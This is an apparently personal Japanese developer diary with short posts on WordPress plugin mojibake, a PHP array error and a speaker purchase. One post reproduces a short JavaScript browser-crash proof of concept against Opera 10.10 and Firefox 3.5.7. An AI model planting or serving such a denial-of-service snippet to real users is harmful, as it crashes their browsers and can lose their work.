Hatena::ブログ(Diary)

Web屋のメモ帳

2010-03-05

ブログやニュースを読む時間を無駄にしないたった一つの事

そのブログやニュースの要約を、他人に話すことを想像(前提に)しながら読む

2010-02-12

[]Opera- v10.10, Firefox v3.5.7 Remote Denial of Service

以下のコードで、Opera- v10.10とFirefox v3.5.7が落ちるみたい。

<body onload="javascript:DOS();"></body>

<script>
 
function DOS() {
 
var buffer = 'A';
for (i =0;i<150;i++) {
buffer+=buffer+'A';
document.write('<html><marquee><h1>'+buffer+buffer);
}
 
}
 
</script>

Windows XP Firefox 3.5.7 で開くと見事に落ちました。

f:id:webpg:20100213012615p:image

2010-02-02

[][]Breadcrumb Navigation XTのposttitle_maxlenオプションの注意点

Wordpressパンくずリストを表示させる際に便利なプラグインが、Breadcrumb Navigation XTです。

記事のタイトルが長すぎたときにデザインがくずれるので、

posttitle_maxlenというオプションで文字数を指定してやるのですが、

例:

<?php
$mybreadcrumb = new breadcrumb_navigation_xt;
$mybreadcrumb->opt['posttitle_maxlen'] = 80;
?>

日本語タイトルをこのオプションで切り取ると、文字化けしてしまいます。

それの解決法です。

wp-content/plugins/breadcrumb-navigation-xt/breadcrumb-navigation-xt.php

を開いて、

<?php
if ( ($this->opt['posttitle_maxlen'] >= 1) and ( strlen($bcn_post_title) > $this->opt['posttitle_maxlen']) )  
    $bcn_post_title = substr($bcn_post_title, 0, $this->opt['posttitle_maxlen']-1) . '...';
?>

の部分を

<?php
if ( ($this->opt['posttitle_maxlen'] >= 1) and ( strlen($bcn_post_title) > $this->opt['posttitle_maxlen']) )  
    $bcn_post_title = mb_strimwidth($bcn_post_title, 0, $this->opt['posttitle_maxlen']-1) . '...';
?>

と書き直すことで(マルチバイト文字列関数 (mbstring)がインストールされていれば)解決します。


...とここまでやって気づいたのですが、

Breadcrumb Navigation XTの日本語版があったようですね。

ただ、日本語版でも同じオプションがあるのですが、

やはり文字化けしてしまいました。

作者の方、直してくれないですかねぇ・・・?

2010-01-26

[]Fatal error: [] operator not supported for strings の対処方法

<?php
foreach($results as $key => $row) {
    $post_type[] = $row->post_type;
    $post_parent[] = $row->post_parent;
}
?>

こんな感じで配列にプッシュしていくコードを書いていると、

上記のエラーが出る場合があるが、

変数配列として初期化することで解決する

<?php
$post_type = array();
$post_parent = array();
foreach($results as $key => $row) {
    $post_type[] = $row->post_type;
    $post_parent[] = $row->post_parent;
}
?>

2010-01-04

PC用スピーカー買った

PCのスピーカーを探していて、価格コムで売れ筋ナンバー1の商品(ロジクール 2.1chスピーカー ブラック Z-4R)を買いました。

価格コムでの送料込みの最安値はラディカルベースでの6,960円(送料無料)だったのですが、

実際に注文してみると、代引き手数料が+500円され7,460円になっちゃいます。


Amazonならクレジットカードで払え、6,986円で買えます。

もちろん国内送料無料。